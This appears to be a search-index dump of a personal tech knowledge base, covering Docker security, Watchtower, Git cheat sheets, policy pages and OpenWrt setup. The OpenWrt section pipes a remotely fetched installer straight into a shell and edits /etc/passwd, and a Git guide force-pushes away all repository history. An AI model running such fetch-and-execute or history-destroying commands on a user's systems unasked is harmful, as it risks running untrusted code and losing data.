    docker pull debian@sha256:a25306f3850e1bd44541976aa7b5fd0a29be\n

    Set volumes to be read only:

    docker run -v $(pwd)/secrets:/secrets:ro debian\n

    Define and run a user in your Dockerfile so you don't run as root inside the container:

    RUN groupadd -r user && useradd -r -g user user\nUSER user\n
    ", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/docker-security/#user-namespaces", "title": "User Namespaces", "text": "

    There's also work on user namespaces -- it is in 1.10 but is not enabled by default.

    To enable user namespaces (\"remap the userns\") in Ubuntu 15.10, follow the blog example.

    ", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/docker-security/#security-videos", "title": "Security Videos", "text": "
    • Using Docker Safely
    • Securing your applications using Docker
    • Container security: Do containers actually contain?
    • Linux Containers: Future or Fantasy?
    ", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/docker-security/#security-roadmap", "title": "Security Roadmap", "text": "

    The Docker roadmap talks about seccomp support. There is an AppArmor policy generator called bane, and they're working on security profiles.

    ", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/docker-security/#best-practices", "title": "Best Practices", "text": "

    This is where general Docker best practices and war stories go:

    • The Rabbit Hole of Using Docker in Automated Tests
    • Bridget Kromhout has a useful blog post on running Docker in production at Dramafever.
    • There's also a best practices blog post from Lyst.
    • Building a Development Environment With Docker
    • Discourse in a Docker Container
    ", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/docker-security/#credit", "title": "Credit", "text": "

    Thanks to @wsargent for creating this cheat sheet.

    ", "tags": ["docker", "cheat-sheet"]}, {"location": "devops/docker/watchtower/", "title": "Watchtower", "text": "", "tags": ["docker", "container", "watchtower"]}, {"location": "devops/docker/watchtower/#quick-start", "title": "Quick Start", "text": "

    With watchtower you can update the running version of your containerized app simply by pushing a new image to the Docker Hub or your own image registry. Watchtower will pull down your new image, gracefully shut down your existing container and restart it with the same options that were used when it was deployed initially. Run the watchtower container with the following command:

    docker rundocker-compose.yml
    $ docker run -d \\\n--name watchtower \\\n-v /var/run/docker.sock:/var/run/docker.sock \\\ncontainrrr/watchtower\n
    version: \"3\"\nservices:\nwatchtower:\nimage: containrrr/watchtower\nvolumes:\n- /var/run/docker.sock:/var/run/docker.sock\n
    ", "tags": ["docker", "container", "watchtower"]}, {"location": "devops/docker/watchtower/#what-is-watchtower", "title": "What is Watchtower?", "text": "

    Watchtower is an application that will monitor your running Docker containers and watch for changes to the images that those containers were originally started from. If watchtower detects that an image has changed, it will automatically restart the container using the new image.

    With watchtower you can update the running version of your containerized app simply by pushing a new image to the Docker Hub or your own image registry. Watchtower will pull down your new image, gracefully shut down your existing container and restart it with the same options that were used when it was deployed initially.

    Full documanation can be found at Watchtower Documentation. Github repo can be found at Watchtower Github Repository.

    ", "tags": ["docker", "container", "watchtower"]}, {"location": "devops/docker/watchtower/#run-ones", "title": "Run Ones", "text": "

    You can run Watchtower run once to force an update of a containers by running the following command:

    docker run --rm -v /var/run/docker.sock:/var/run/docker.sock containrrr/watchtower --run-once\n
    ", "tags": ["docker", "container", "watchtower"]}, {"location": "devops/docker/watchtower/#docker-compose-example", "title": "Docker Compose Example", "text": "

    Blow is and example of a docker-compose.yml file that uses watchtower to automatically update your running containers at 3:30 AM every day, sending notifications to Telegram with shoutrrr

    version: '3'\n\nservices:\nwatchtower:\nimage: containrrr/watchtower\ncontainer_name: watchtower\nhostname: port-watchtower\nrestart: always\nnetwork_mode: bridge\nvolumes:\n- /var/run/docker.sock:/var/run/docker.sock\n- /etc/localtime:/etc/localtime\nenvironment:\n- WATCHTOWER_NOTIFICATIONS=shoutrrr\n- WATCHTOWER_NOTIFICATION_URL=telegram://<Bot-api-token>@telegram/?channels=<channel-id>\ncommand: --schedule '0 30 3 * * *' --cleanup\n
    ", "tags": ["docker", "container", "watchtower"]}, {"location": "devops/git/delete-commit-history/", "title": "Removing Sensitive Data from a Repository History", "text": "

    As humans, we sometimes make mistakes. One of them is committing sensitive data in our Git repository. If you commit sensitive data, such as a password, SSH key, API tokens, license keys and so on into a Git repository, you can remove it from the history. You can follow the official GitHub instructions to remove sensitive data from the history. It's probably the best and the right way to do it.

    Below is a fast way to remove sensitive data from a repository's history but with a few caveats like loosing all the history of the repository.

    ", "tags": ["github", "history", "security"]}, {"location": "devops/git/delete-commit-history/#delete-commit-history-in-github-repository", "title": "Delete Commit History in Github Repository", "text": "

    Danger

    This will remove your old commit history completely, You can\u2019t recover it again!

    Create Orphan Branch \u2013 Create a new orphan branch in git repository. The newly created branch will not show in \u2018git branch\u2019 command.

    git checkout --orphan temp_branch\n

    Add Files to Branch \u2013 Now add all files to newly created branch and commit them using following commands.

    git add -A\ngit commit -am \"first commit\"\n

    Delete master/main Branch. Adjust the command according your git repository

    git branch -D main\n

    Rename Current Branch \u2013 After deleting the master/main branch, let\u2019s rename newly created branch name to master/main.

    git branch -m main\n

    Push Changes \u2013 You have completed the changes to your local git repository. Finally, push your changes to the remote master/main (Github) repository forcefully.

    git push -f origin main\n
    ", "tags": ["github", "history", "security"]}, {"location": "devops/git/git-cli-cheat-sheet/", "title": "Git Cli Cheat Sheet", "text": "

    Git is a free and open source distributed version control system designed to quickly and efficiently manage everything from small to very large projects.

    ", "tags": ["github", "git", "cheat-sheet"]}, {"location": "devops/git/git-cli-cheat-sheet/#create-repositories", "title": "Create Repositories", "text": "

    A new repository can either be created locally, or an existing repository can be cloned. When a repository was initialized locally, you have to push it to GitHub afterwards.

    The git init command turns an existing directory into a new Git repository inside the folder you are running this command. After using the git init command, link the local repository to an empty GitHub repository using the following command:

    git init\n

    Specifies the remote repository for your local repository. The url points to a repository on GitHub.

    git remote add origin [url]\n

    Clone (download) a repository that already exists on GitHub, including all of the files, branches, and commits

    git clone [url]\n
    ", "tags": ["github", "git", "cheat-sheet"]}, {"location": "devops/git/git-cli-cheat-sheet/#git-configuration", "title": "Git Configuration", "text": "

    Configure user information for all local repositories

    Sets the name you want attached to your commit transactions

    git config --global user.name \"[name]\"\n

    Sets the email you want attached to your commit transactions

    git config --global user.email \"[email address]\"\n

    Enables helpful colorization of command line output

    git config --global color.ui auto\n
    ", "tags": ["github", "git", "cheat-sheet"]}, {"location": "devops/git/git-cli-cheat-sheet/#synchronize-changes", "title": "Synchronize Changes", "text": "

    Synchronize your local repository with the remote repository on GitHub.com

    Downloads all history from the remote tracking branches

    git fetch\n

    Combines remote tracking branches into current local branch

    git merge\n

    Uploads all local branch commits to GitHub

    git push\n

    Updates your current local working branch with all new commits from the corresponding remote branch on GitHub. git pull is a combination of git fetch and git merge

    git pull\n
    ", "tags": ["github", "git", "cheat-sheet"]}, {"location": "devops/git/git-cli-cheat-sheet/#redo-commits", "title": "Redo Commits", "text": "

    Erase mistakes and craft replacement history

    Undoes all commits after [commit], preserving changes locally

    git reset [commit]\n

    If you don't want to reset absolutely, but relatively that is also possible using

    git reset HEAD~2\n
    which undoes the last 2 commits.

    Discards all history and changes back to the specified commit

    git reset --hard [commit]\n
    ", "tags": ["github", "git", "cheat-sheet"]}, {"location": "devops/git/git-cli-cheat-sheet/#branches", "title": "Branches", "text": "

    Branches are an important part of working with Git. Any commits you make will be made on the branch you\u2019re currently \u201cchecked out\u201d to. Use git status to see which branch that is.

    Creates a new branch

    git branch [branch-name]\n

    Switches to the specified branch and updates the working directory

    git switch -c [branch-name]\n
    or you can use

    git checkout -b [branch-name]\n
    to both create and switch to the branch simultaneously.

    Combines the specified branch\u2019s history into the current branch. This is usually done in pull requests, but is an important Git operation.

    git merge [branch]\n

    Deletes the specified branch

    git branch -d [branch-name]\n
    ", "tags": ["github", "git", "cheat-sheet"]}, {"location": "devops/git/git-cli-cheat-sheet/#make-changes", "title": "Make Changes", "text": "

    Browse and inspect the evolution of project files

    Lists version history for the current branch

    git log\n

    Lists version history for a file, beyond renames (works only for a single file)

    git log --follow [file]\n

    Shows content differences between two branches

    git diff [first-branch]...[second-branch]\n

    Outputs metadata and content changes of the specified commit

    git show [commit]\n

    Snapshots the file in preparation for versioning

    git add [file]\n

    Records file snapshots permanently in version history

    git commit -m \"[descriptive message]\"\n
    ", "tags": ["github", "git", "cheat-sheet"]}, {"location": "devops/git/git-cli-cheat-sheet/#the-gitignore-file", "title": "The .gitignore file", "text": "

    Sometimes it may be a good idea to exclude files from being tracked with Git. This is typically done in a special file named .gitignore. You can find helpful templates for .gitignore files at github.com/github/gitignore. If there are certain files (like .vscode or .ide) that should be discluded from all projects, you can create a global .gitignore file to do so.

    ", "tags": ["github", "git", "cheat-sheet"]}, {"location": "devops/git/git-cli-cheat-sheet/#untrack-files-already-added-to-git-repository-based-on-gitignore", "title": "Untrack Files Already Added to git Repository Based on .gitignore", "text": "

    Commit all your changes. Before proceeding, make sure all your changes are committed, including your .gitignore file. Remove everything from the repository. To clear your repo, use:

    git rm -r --cached .\n

    Re add everything.

    git add .\n

    Commit.

    git commit -m \".gitignore fix\"\n
    ", "tags": ["github", "git", "cheat-sheet"]}, {"location": "devops/git/git-cli-cheat-sheet/#use-gist-as-repository", "title": "Use Gist as Repository", "text": "

    It's probably easiest if you just start by cloning the gist, so that origin (a \"remote\" that refers to the original repository) is set up for you. Then you can just do git push origin master. For example:

    git clone git@gist.github.com:869085.git mygist\ncd mygist\n

    Add you changes to the repository.

    git add .\ngit commit -m \"Better comments\"\ngit push origin master\n

    However, if you don't want to redo your changes, you can do:

    cd mygist\ngit remote add origin git@gist.github.com:869085.git\ngit fetch origin\n# Push your changes, also setting the upstream for master:\ngit push -u origin master\n

    Strictly speaking, the git fetch origin and -u argument to git push origin master are optional, but they will helpfully associate the upstream branch master in origin with your local branch master.

    ", "tags": ["github", "git", "cheat-sheet"]}, {"location": "devops/git/git-submodules/", "title": "Git Submodules Cheat Sheet", "text": "", "tags": ["github", "cheat-sheet", "submodules"]}, {"location": "devops/git/git-submodules/#what-is-a-submodule", "title": "What is a Submodule?", "text": "

    Git submodules allow you to keep a git repository as a subdirectory of another git repository. Git submodules are simply a reference to another repository at a particular snapshot in time. Git submodules enable a Git repository to incorporate and track version history of external code.

    ", "tags": ["github", "cheat-sheet", "submodules"]}, {"location": "devops/git/git-submodules/#add-a-submodule", "title": "Add a Submodule", "text": "

    You need to know the remote git repository url and where you want to place that it in your repository.

    for example:

    git submodule add https://github.com/fire1ce/3os.org path/to/submodule\ngit add .\ngit commit -m \"adds submodule path/to/submodule\"\n
    ", "tags": ["github", "cheat-sheet", "submodules"]}, {"location": "devops/git/git-submodules/#cloning-a-project-with-submodules", "title": "Cloning A Project With Submodules", "text": "

    When you clone a repository that contains submodules there are a few extra steps to be taken.

    for example:

    git clone https://github.com/fire1ce/3os.org repo\ncd repo\ngit submodule init\ngit submodule update\n

    If you\u2019re sure you want to fetch all submodules (and their submodules), you can also use this fancy one-liner:

    git clone --recurse-submodules https://github.com/fire1ce/3os.org\n
    ", "tags": ["github", "cheat-sheet", "submodules"]}, {"location": "devops/git/git-submodules/#submodule-update", "title": "Submodule Update", "text": "

    If you\u2019re simply tracking the master or main branch for the submodule, you can suffice with a simple fetch and merge.

    cd path/to/submodule\ngit fetch\ngit merge origin/master\n

    If you\u2019re in a hurry, you can streamline this for all submodules in your repo with:

    git submodule update --remote --recursive\n

    Commit this change to your own repo, so others are locked to this new version of the submodule as well.

    ", "tags": ["github", "cheat-sheet", "submodules"]}, {"location": "devops/git/git-submodules/#remove-a-submodule", "title": "Remove a submodule", "text": "
    • Delete the relevant section from the .gitmodules file.
    • Stage the .gitmodules changes git add .gitmodules
    • Delete the relevant section from .git/config.
    • Run git rm --cached path_to_submodule (no trailing slash).
    • Run rm -rf .git/modules/path_to_submodule (no trailing slash).
    • Commit git commit -m \"Removed submodule\"
    • Delete the now untracked submodule files rm -rf path_to_submodule
    ", "tags": ["github", "cheat-sheet", "submodules"]}, {"location": "devops/git/github-cli/", "title": "GitHub Cli Cheat Sheet", "text": "

    The GitHub Cli a is free and open source Cli tool to interact with GitHub repositories. It allows you to work solely from the command line, as well as navigate to remote (web) repositories very easily.

    ", "tags": ["github", "git", "cheat-sheet"]}, {"location": "devops/git/github-cli/#installation", "title": "Installation", "text": "

    The GitHub Cli can be found at https://cli.github.com/. The installation are very straightfoward, for example,

    brew install gh\n
    on macOS.

    ", "tags": ["github", "git", "cheat-sheet"]}, {"location": "devops/git/github-cli/#some-example-commands", "title": "Some example commands", "text": "

    View the repository remotely.

    gh repo view --web\n

    Create a pull request remotely.

    gh pr create --web\n
    ", "tags": ["github", "git", "cheat-sheet"]}, {"location": "homelab/devices/synology-nas/", "title": "Synology DS218+ NAS", "text": "

    One of then main devices in my HomeLab is a Synology DS218+ NAS. It purpose mainly for backup and data synchronization tasks.

    Synology DS218+ NAS was upgraded to 8GB of RAM. It has two SAMSUNG 870 QVO 4TB SSD, running in redundant mode. The 1GbE network was upgraded with SABRENT USB 5GbE Ethernet and the fan was replaced with Noctua NF-A9 FLX Fan for quieter operation.

    Parts List

    • Synology DS218+ NAS.
    • 2x SAMSUNG 870 QVO 4TB SSD.
    • Noctua NF-A9 FLX Fan.
    • SABRENT USB 5GbE Ethernet.
    • 2x Crucial 4GB DDR3l-1600.

    Used for

    • Data backup.
    • Data synchronization.
    • Data storage.
    • Docker containers.

    ", "tags": ["HomeLab", "Synology", "NAS"]}, {"location": "information/affiliateDisclosure/", "title": "Affiliate Disclosure", "text": "

    This website can include advertising, supported content, paid inserts, affiliate links or other types of monetization.

    We believe in the authenticity of relationships, views and identities. Compensation received can have an effect on the advertisement material, topics or posts made in this blog. Such content, advertising space or post will be specifically marked as paid or supported content. We will only endorse the products or services that we believe, based on our expertise, are worthy of this endorsement.

    Any claim, statistic, quotation or other representation of a product or service should be verified with the manufacturer or supplier. This site does not contain any content that may constitute a conflict of interest.

    This website does not provide any representations, warranties or assurances as to the accuracy,

    currency or completeness of the content contained on this website or on any website linked to or from this website.

    ", "tags": ["information", "affiliate"]}, {"location": "information/affiliateDisclosure/#participant-programs", "title": "Participant Programs\u200b", "text": "

    This website is a participant in the Amazon Services LLC Associates Program, aliexpress, an affiliate advertisement program designed to provide a way for websites to receive advertising fees through advertising and links to amazon.com, aliexpress.com.

    ", "tags": ["information", "affiliate"]}, {"location": "information/cookies-policy/", "title": "Cookies Policy", "text": "

    We use cookies and other similar technologies to help provide our Services, to advertise to you and to analyse how you use our Services and whether advertisements are being viewed. We also allow third parties to use tracking technologies for similar purposes. If you are using our Services via a browser you can restrict, block or remove cookies through your web browser settings. The Help menu on the menu bar of most browsers also tells you how to prevent your browser from accepting new cookies, how to delete old cookies, how to have the browser notify you when you receive a new cookie and how to disable cookies altogether.

    ", "tags": ["information", "Cookies"]}, {"location": "information/cookies-policy/#what-are-cookies", "title": "What are Cookies?", "text": "

    A cookie is a small text file which is sent to your computer or mobile device (referred to in this policy as a \u201cdevice\u201d) by the web server so that the website can remember some information about your browsing activity on the website. The cookie will collect information relating to your use of our sites, information about your device such as the device\u2019s IP address and browser type, demographic data and, if you arrived at our site via a link from third party site, the URL of the linking page. If you are a registered user or subscriber it may also collect your name and email address, which may be transferred to data processors for registered user or subscriber verification purposes. Cookies record information about your online preferences and help us to tailor our websites to your interests. Information provided by cookies can help us to analyse your use of our sites and help us to provide you with a better user experience. We use tracking technologies for the following purposes:

    ", "tags": ["information", "Cookies"]}, {"location": "information/cookies-policy/#performance-purposes", "title": "Performance Purposes", "text": "

    These cookies are necessary for the website to function and cannot be switched off in our systems. These are used to let you login, to ensure site security and to provide shopping cart functionality. Without this type of technology, our Services won\u2019t work properly or won\u2019t be able to provide certain features and functionalities.

    ", "tags": ["information", "Cookies"]}, {"location": "information/cookies-policy/#personalization-cookies", "title": "Personalization Cookies", "text": "

    These cookies are used to analyze how visitors use a website, for instance which pages visitors visit most often, in order to provide a better user experience. We also use this technology to check if you have opened our emails, so we can see if they are being delivered correctly and are of interest.

    ", "tags": ["information", "Cookies"]}, {"location": "information/cookies-policy/#advertising-cookies", "title": "Advertising Cookies", "text": "

    These cookies are used to limit the number of times you see an advertisement, or to customize advertising across our Services and make it more relevant to you and to allow us to measure the effectiveness of advertising campaigns and track whether ads have been properly displayed so we can pay for this. You have the option to change your choices relating to cookies utilized to deliver behaviorally targeted advertising here for EU \u201cAdvertising cookies\u201d and here for US Advertising cookies.

    ", "tags": ["information", "Cookies"]}, {"location": "information/cookies-policy/#social-media-cookies", "title": "Social Media Cookies", "text": "

    Cookies are used by social media services to enable you to share our content with your friends and networks. These cookies may track your browser across other sites and build a profile of your interests, which may impact the content and messages you see on other websites that you visit.

    ", "tags": ["information", "Cookies"]}, {"location": "information/cookies-policy/#google-analytics", "title": "Google Analytics", "text": "

    We use Google Analytics for aggregated, anonymized website traffic analysis. In order to track your session usage, Google drops a cookie (_ga) with a randomly-generated ClientID in your browser. This ID is anonymized and contains no identifiable information like email, phone number, name, etc. We also send Google your IP Address. We use GA to track aggregated website behavior, such as what pages you looked at, for how long, and so on. This information is important to us for improving the user experience and determining site effectiveness. If you would like to access what browsing information we have \u2013 or ask us to delete any GA data \u2013 please delete your _ga cookies, reach out to us via this form, and/or install the Google Analytics Opt-Out Browser Add-On.

    ", "tags": ["information", "Cookies"]}, {"location": "information/cookies-policy/#how-to-manage-remove-cookies", "title": "How to manage & remove cookies", "text": "

    If you are using our Services via a browser you can restrict, block or remove cookies through your web browser settings. The Help menu on the menu bar of most browsers also tells you how to prevent your browser from accepting new cookies, how to delete old cookies, how to have the browser notify you when you receive a new cookie and how to disable cookies altogether. You can also visit https://www.aboutcookies.org for more information on how to manage and remove cookies across a number of different internet browsers. You also have the option to change your choices relating to cookies utilized to deliver behaviorally targeted advertising here for EU \u201cAdvertising cookies\u201d and here for US Advertising cookies. If you would like to contact us about cookies please our online feedback form or our contact page.

    ", "tags": ["information", "Cookies"]}, {"location": "information/endorsement/", "title": "Website Endorsements", "text": "

    Website endorsement for our partners and friends who support our mission.

    ", "tags": ["information", "endorsements"]}, {"location": "information/endorsement/#adventureapp", "title": "adventure.app", "text": "

    Adventure is an app that provides you with a simple and intuitive interface to plan your trip. You can choose from a wide range of activities and destinations. We also provide you with a recommendation system that will help you choose the best activity for you. Visit adventure.app!

    ", "tags": ["information", "endorsements"]}, {"location": "information/license/", "title": "License", "text": "", "tags": ["information", "license"]}, {"location": "information/license/#mit-license", "title": "MIT License", "text": "

    Copyright\u00a9 3os.org 2022

    Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the \"Software\"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

    The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

    THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

    ", "tags": ["information", "license"]}, {"location": "information/portfolio/", "title": "Stas Yakobov's Portfolio", "text": "Stas Yakobov aka fire1ce

    \u2022 I'm security researcher - specialized in hardware pentetrations tests

    \u2022 I like experimenting with technologies, building small projects, automate everything.

    \u2022 Passionate about security, linux, dockers, electronics(IoT), coding, open-source and knowledge

    \u2022 I'm the owner and the maintener of a 3os.org knowledge-base website

    How To Reach Me

    ", "tags": ["portfolio", "resume"]}, {"location": "information/privacy-policy/", "title": "Privacy Policy", "text": "

    Your privacy is very important to us. Accordingly, we have developed this policy in order for you to understand how we collect, use, communicate and make use of personal information. The following outlines our privacy policy.

    When accessing this website, will learn certain information about you during your visit.

    Similar to other commercial websites, our website utilizes a standard technology called \u2018cookies\u2019 (see explanation below) and server logs to collect information about how our site is used. Information gathered through cookies and server logs may include the date and time of visits, the pages viewed, time spent at our site, and the websites visited just before and just after our own, as well as your IP address.

    ", "tags": ["information", "privacy policy"]}, {"location": "information/privacy-policy/#use-of-cookie", "title": "Use of Cookie", "text": "

    A cookie is a very small text document, which often includes an anonymous unique identifier. When you visit a website, that site\u2019s computer asks your computer for permission to store this file in a part of your hard drive specifically designated for cookies. Each website can send its own cookie to your browser if your browser\u2019s preferences allow it, but (to protect your privacy) your browser only permits a website to access the cookies it has already sent to you, not the cookies sent to you by other sites.

    ", "tags": ["information", "privacy policy"]}, {"location": "information/privacy-policy/#ip-addresses", "title": "IP Addresses", "text": "

    IP addresses are used by your computer every time you are connected to the Internet. Your IP address is a number that is used by computers on the network to identify your computer. IP addresses are automatically collected by our web server as part of demographic and profile data known as \u201ctraffic data\u201d so that data (such as the Web pages you request) can be sent to you.

    ", "tags": ["information", "privacy policy"]}, {"location": "information/privacy-policy/#email-information", "title": "Email Information", "text": "

    If you choose to correspond with us through email, we may retain the content of your email messages together with your email address and our responses. We provide the same protections for these electronic communications that we employ in the maintenance of information received online, mail and telephone. This also applies when you register for our website, sign up through any of our forms using your email address or make a purchase on this site. For further information see the email policies below.

    ", "tags": ["information", "privacy policy"]}, {"location": "information/privacy-policy/#how-do-we-use-the-information-that-you-provide-to-us", "title": "How Do We Use The Information That You Provide To Us?", "text": "

    Broadly speaking, we use personal information for purposes of administering our business activities, providing customer service and making available other items and services to our customers and prospective customers.

    will not obtain personally-identifying information about you when you visit our site, unless you choose to provide such information to us, nor will such information be sold or otherwise transferred to unaffiliated third parties without the approval of the user at the time of collection.

    We may disclose information when legally compelled to do so, in other words, when we, in good faith, believe that the law requires it or for the protection of our legal rights.

    ", "tags": ["information", "privacy policy"]}, {"location": "information/privacy-policy/#email-policies", "title": "Email Policies", "text": "

    We are committed to keeping your e-mail address confidential. We do not sell, rent, or lease our subscription lists to third parties, and we will not provide your personal information to any third party individual, government agency, or company at any time unless strictly compelled to do so by law.

    We will use your e-mail address solely to provide timely information about .

    We will maintain the information you send via e-mail in accordance with applicable federal law.

    ", "tags": ["information", "privacy policy"]}, {"location": "information/privacy-policy/#can-spam-compliance", "title": "CAN-SPAM Compliance", "text": "

    In compliance with the CAN-SPAM Act, all e-mail sent from our organization will clearly state who the e-mail is from and provide clear information on how to contact the sender. In addition, all e-mail messages will also contain concise information on how to remove yourself from our mailing list so that you receive no further e-mail communication from us.

    ", "tags": ["information", "privacy policy"]}, {"location": "information/privacy-policy/#choiceopt-out", "title": "Choice/Opt-Out", "text": "

    Our site provides users the opportunity to opt-out of receiving communications from us and our partners by reading the unsubscribe instructions located at the bottom of any e-mail they receive from us at anytime.

    Users who no longer wish to receive our newsletter or promotional materials may opt-out of receiving these communications by clicking on the unsubscribe link in the e-mail.

    ", "tags": ["information", "privacy policy"]}, {"location": "information/privacy-policy/#use-of-external-links", "title": "Use of External Links", "text": "

    This website may contain links to many other websites. cannot guarantee the accuracy of information found at any linked site. Links to or from external sites not owned or controlled by do not constitute an endorsement by or any of its employees of the sponsors of these sites or the products or information presented therein.

    By accessing this web site, you are agreeing to be bound by these web site Terms and Conditions of Use, all applicable laws and regulations, and agree that you are responsible for compliance with any applicable local laws. If you do not agree with any of these terms, you are prohibited from using or accessing this site. The materials contained in this web site are protected by applicable copyright and trade mark law.

    ", "tags": ["information", "privacy policy"]}, {"location": "information/privacy-policy/#acceptable-use", "title": "Acceptable Use", "text": "

    You agree to use our website only for lawful purposes, and in a way that does not infringe the rights of, restrict or inhibit anyone else\u2019s use and enjoyment of the website. Prohibited behavior includes harassing or causing distress or inconvenience to any other user, transmitting obscene or offensive content or disrupting the normal flow of dialogue within our website.

    You must not use our website to send unsolicited commercial communications. You must not use the content on our website for any marketing related purpose without our express written consent.

    ", "tags": ["information", "privacy policy"]}, {"location": "information/privacy-policy/#restricted-access", "title": "Restricted Access", "text": "

    We may in the future need to restrict access to parts (or all) of our website and reserve full rights to do so. If, at any point, we provide you with a username and password for you to access restricted areas of our website, you must ensure that both your username and password are kept confidential.

    ", "tags": ["information", "privacy policy"]}, {"location": "information/privacy-policy/#use-of-testimonials", "title": "Use of Testimonials", "text": "

    In accordance to with the FTC guidelines concerning the use of endorsements and testimonials in advertising, please be aware of the following:

    Testimonials that appear on this site are actually received via text, audio or video submission. They are individual experiences, reflecting real life experiences of those who have used our products and/or services in some way. They are individual results and results do vary. We do not claim that they are typical results. The testimonials are not necessarily representative of all of those who will use our products and/or services.

    The testimonials displayed in any form on this site (text, audio, video or other) are reproduced verbatim, except for correction of grammatical or typing errors. Some may have been shortened. In other words, not the whole message received by the testimonial writer is displayed when it seems too lengthy or not the whole statement seems relevant for the general public.

    We are not responsible for any of the opinions or comments posted on this website. This website is not a forum for testimonials, however provides testimonials as a means for customers to share their experiences with one another. To protect against abuse, all testimonials appear after they have been reviewed by the management . We not share the opinions, views or commentary of any testimonials on this website \u2013 the opinions are strictly the views of the testimonial source.

    The testimonials are never intended to make claims that our products and/or services can be used to diagnose, treat, cure, mitigate or prevent any disease. Any such claims, implicit or explicit, in any shape or form, have not been clinically tested or evaluated.

    How Do We Protect Your Information And Secure Information Transmissions?

    Email is not recognized as a secure medium of communication. For this reason, we request that you do not send private information to us by email. However, doing so is allowed, but at your own risk. Some of the information you may enter on our website may be transmitted securely via a secure medium known as Secure Sockets Layer, or SSL. Credit Card information and other sensitive information is never transmitted via email.

    We may use software programs to create summary statistics, which are used for such purposes as assessing the number of visitors to the different sections of our site, what information is of most and least interest, determining technical design specifications, and identifying system performance or problem areas.

    For site security purposes and to ensure that this service remains available to all users, uses software programs to monitor network traffic to identify unauthorized attempts to upload or change information, or otherwise cause damage.

    ", "tags": ["information", "privacy policy"]}, {"location": "information/privacy-policy/#disclaimer-and-limitation-of-liability", "title": "Disclaimer And Limitation Of Liability", "text": "

    We makes no representations, warranties, or assurances as to the accuracy, currency or completeness of the content contain on this website or any sites linked to this site.

    All the materials on this site are provided \u2018as is\u2019 without any express or implied warranty of any kind, including warranties of merchantability, noninfringement of intellectual property or fitness for any particular purpose. In no event shall or its agents or associates be liable for any damages whatsoever (including, without limitation, damages for loss of profits, business interruption, loss of information, injury or death) arising out of the use of or inability to use the materials, even if has been advised of the possibility of such loss or damages.

    ", "tags": ["information", "privacy policy"]}, {"location": "information/privacy-policy/#policy-changes", "title": "Policy Changes", "text": "

    We reserve the right to amend this privacy policy at any time with or without notice. However, please be assured that if the privacy policy changes in the future, we will not use the personal information you have submitted to us under this privacy policy in a manner that is materially inconsistent with this privacy policy, without your prior consent.

    We are committed to conducting our business in accordance with these principles in order to ensure that the confidentiality of personal information is protected and maintained.

    ", "tags": ["information", "privacy policy"]}, {"location": "infrastructure/openwrt/disable-ipv6/", "title": "OpenWrt Disable IPV6", "text": "

    The following steps will disable IPV6 on your OpenWrt router . All the steps are performed via the command line. You can performe them in the console of the router but the preferred way is via SSH.

    Follow the following steps to disable IPV6 on your OpenWrt router:

    uci set 'network.lan.ipv6=0'\nuci set 'network.wan.ipv6=0'\nuci set 'dhcp.lan.dhcpv6=disabled'\n/etc/init.d/odhcpd disable\nuci commit\n

    Disable RA and DHCPv6 so no IPv6 IPs are handed out:

    uci -q delete dhcp.lan.dhcpv6\nuci -q delete dhcp.lan.ra\nuci commit dhcp\n/etc/init.d/odhcpd restart\n

    You can now disable the LAN delegation:

    uci set network.lan.delegate=\"0\"\nuci commit network\n/etc/init.d/network restart\n

    You might as well disable odhcpd:

    /etc/init.d/odhcpd disable\n/etc/init.d/odhcpd stop\n

    And finally you can delete the IPv6 ULA Prefix:

    uci -q delete network.globals.ula_prefix\nuci commit network\n/etc/init.d/network restart\n
    ", "tags": ["template", "markdown"]}, {"location": "infrastructure/openwrt/install-oh-my-zsh/", "title": "Install oh-my-zsh on OpenWrt", "text": "

    You can install oh-my-zsh on OpenWrt, make sure to use the Prevent User Lockout option since many users been locked out of their sessions since the zsh shell was not installed or loaded properly.

    ", "tags": ["template", "markdown"]}, {"location": "infrastructure/openwrt/install-oh-my-zsh/#whats-zsh", "title": "Whats' ZSH", "text": "

    Z-shell (Zsh) configuration. is a Unix shell that can be used as an interactive login shell and as a shell scripting command interpreter. Zsh is an enhanced Bourne shell with many enhancements, including some Bash, ksh and tcsh features.

    ", "tags": ["template", "markdown"]}, {"location": "infrastructure/openwrt/install-oh-my-zsh/#whats-oh-my-zsh", "title": "What's Oh-My-Zsh", "text": "

    Oh My Zsh is an open source, community-driven framework for managing your zsh configuration.

    ", "tags": ["template", "markdown"]}, {"location": "infrastructure/openwrt/install-oh-my-zsh/#installation-of-oh-my-zsh", "title": "Installation of oh-my-zsh", "text": "

    Install Requirements Packages

    opkg update && opkg install ca-certificates zsh curl git-http\n

    Install oh-my-zsh

    sh -c \"$(curl -fsSL https://raw.github.com/ohmyzsh/ohmyzsh/master/tools/install.sh)\"\n

    Set zsh as default (thanks to @mlouielu)

    which zsh && sed -i -- 's:/bin/ash:'`which zsh`':g' /etc/passwd\n
    ", "tags": ["template", "markdown"]}, {"location": "infrastructure/openwrt/install-oh-my-zsh/#prevent-user-lockout", "title": "Prevent User Lockout", "text": "

    To prevent lock-outs after accidentially removing zsh (thanks to @fox34) (as explained in the wiki you can add a check for zsh and fallback to ash in /etc/rc.local:

